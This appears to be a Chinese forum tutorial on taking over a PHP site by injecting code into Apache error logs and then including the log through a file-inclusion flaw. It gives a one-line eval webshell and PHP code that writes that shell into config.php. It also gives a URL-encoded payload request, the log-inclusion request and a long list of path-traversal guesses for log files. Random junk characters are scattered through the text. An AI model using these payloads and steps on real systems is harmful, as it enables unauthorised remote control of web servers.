php包含apache日志写马

admin

因为上面那个很不实际，我在测试中发现日志动不动就是几十兆，那样玩起来也没意思了。下面想的再深入一点也就是我们写入一个很实际的webshell来用，也比上面那种慢的要死好很多。
; L, W, w/ V. @0 Y+ ]
! i% W3 j0 `, V2 j  a比如还是这句一句话木马
. E, t$ i5 z/ L<?eval($_POST[cmd]);?>   

到这里你也许就想到了，这是个很不错的办法。接着看,如何写入就成了个问题，用这句，
fopen打开/home/virtual/www.xxx.com/forum/config.php这个文件，然后写入<?eval($_POST[cmd]);?>这个一句话木马服务端语句。连起来表达成php语句就是

<?$fp=fopen("/home/virtual/www.xxx.com/forum/config.php","w+");fputs($fp,"<?eval($_POST[cmd]);?>");
fclose($fp);?>   //在config.php里写入一句木马语句

% B- R8 s' T( b2 z! W4 Q8 L$ v( U我们提交这句，再让Apache记录到错误日志里，再包含就成功写入shell,记得一定要转换成URL格式才成功。
转换为
%3C%3F%24fp%3Dfopen%28%22%2Fhome%2Fvirtual%2Fwww%2Exxx%2Ecom%2Fforum%2F
config%2Ephp%22%2C%22w%2B%22%29%3Bfputs%28%24fp
, `; q- _+ E8 X; S: g: c%2C%22%3C%3Feval%28%24%5FPOST%5Bcmd%5D%29%3B%3F%3E%22%29%3B
fclose%28%24fp%29%3B%3F%3E
( `; E7 t4 W6 Y/ d; v4 ^我们提交
5 }0 n1 |+ u4 Chttp://xxx.com/%3C%3F%24fp%3Dfopen%28%22%2Fhome%2Fvirtual%2Fwww
%2Exxx%2Ecom%2Fforum%2Fconfig%2Ephp
%22%2C%22w%2B%22%29%3Bfputs%28%24fp%2C%22%3C%3Feval%28%24%5FPOST%5B
$ i: }$ P0 o% \+ p+ [& j. ?cmd%5D%29%3B%3F%3E%22%29%3Bfclose%28%24fp%29%3B%3F%3E

这样就错误日志里就记录下了这行写入webshell的代码。
我们再来包含日志，提交
http://xxx.com/z.php?zizzy=/home ... /logs/www-error_log
( M" A2 T' ^7 _0 @
这样webshell就写入成功了，config.php里就写入一句木马语句
2 P2 D* _1 \$ S# y* W. G5 }5 p$ O: pOK.
http://www.xxx.com/forum/config.php这个就成了我们的webshell
1 P, V* @7 c" T5 d1 s3 G直接用lanker的客户端一连，主机就是你的了。
- ~% ]& I# L9 f2 G
PS:上面讲的，前提是文件夹权限必须可写 ，一定要-rwxrwxrwx(777)才能继续，这里直接用上面列出的目录来查看。上面讲的都是在知道日志路径的情况下的利用

其他的日志路径，你可以去猜，也可以参照这里。
../../../../../../../../../../var/log/httpd/access_log
2 m8 Q0 L% P' l. t& {& `. ?. u../../../../../../../../../../var/log/httpd/error_log
# f; y2 m2 G  u) K1 }" w9 s3 \../apache/logs/error.log
../apache/logs/access.log
../../apache/logs/error.log
../../apache/logs/access.log
) c% d3 @$ |2 M* W& C. {( X../../../apache/logs/error.log
../../../apache/logs/access.log
0 K$ `' T( W1 W" M$ I& _5 e../../../../../../../../../../etc/httpd/logs/acces_log
3 J- I# F  H4 C; {../../../../../../../../../../etc/httpd/logs/acces.log
../../../../../../../../../../etc/httpd/logs/error_log
8 O( U" k; c3 [% n1 A, J../../../../../../../../../../etc/httpd/logs/error.log
../../../../../../../../../../var/www/logs/access_log
../../../../../../../../../../var/www/logs/access.log
/ p3 g- r2 X: T: D. T6 y1 E! P8 M../../../../../../../../../../usr/local/apache/logs/access_log
../../../../../../../../../../usr/local/apache/logs/access.log
../../../../../../../../../../var/log/apache/access_log
../../../../../../../../../../var/log/apache/access.log
  K- R' C4 i4 \; \( R4 B: S4 Y../../../../../../../../../../var/log/access_log
/ r0 A& t  R/ l$ `../../../../../../../../../../var/www/logs/error_log
# \3 r; ?! R! P% F) x; ?../../../../../../../../../../var/www/logs/error.log
+ T$ O% h' D2 G../../../../../../../../../../usr/local/apache/logs/error_log
% U& E' |7 T& i: Z# A$ N. ~+ A../../../../../../../../../../usr/local/apache/logs/error.log
../../../../../../../../../../var/log/apache/error_log
../../../../../../../../../../var/log/apache/error.log
../../../../../../../../../../var/log/access_log
" J: j% A! R  S) X% x* H/ i$ v) r../../../../../../../../../../var/log/error_log
( ]  s4 }/ e' @/var/log/httpd/access_log      
% T: G" O# M( J! @: H5 o% B, v/var/log/httpd/error_log     
../apache/logs/error.log     
../apache/logs/access.log
../../apache/logs/error.log
# O0 P! b) a5 X4 w../../apache/logs/access.log
/ Z  I! u6 X$ O2 K- b% B* |; Q../../../apache/logs/error.log
5 h4 A2 r6 J, l7 U( f../../../apache/logs/access.log
. X$ ]. I! t7 c* _/etc/httpd/logs/acces_log
/etc/httpd/logs/acces.log
+ E' @* y; y6 v6 [/etc/httpd/logs/error_log
& d( i+ c2 d% I3 `, G/etc/httpd/logs/error.log
& P/ X5 E! `( o0 [8 ~+ f  O/ k/var/www/logs/access_log
/var/www/logs/access.log
& _8 G! h: D( ^! x; p/usr/local/apache/logs/access_log
/usr/local/apache/logs/access.log
6 D- L& s  J3 v/var/log/apache/access_log
1 e; Y, b; L  v. z3 O( d/var/log/apache/access.log
8 ?3 c* D' ^* X/var/log/access_log
/var/www/logs/error_log
1 |1 M# n& J, d/ F0 g/var/www/logs/error.log
/usr/local/apache/logs/error_log
" \2 f- ^, @7 \0 f- I8 d% |+ {/usr/local/apache/logs/error.log
/var/log/apache/error_log
4 E9 j' C8 z; ~+ ]/ W% _/ a5 S# k/var/log/apache/error.log
  n5 [* p" S! G* s/var/log/access_log
/var/log/error_log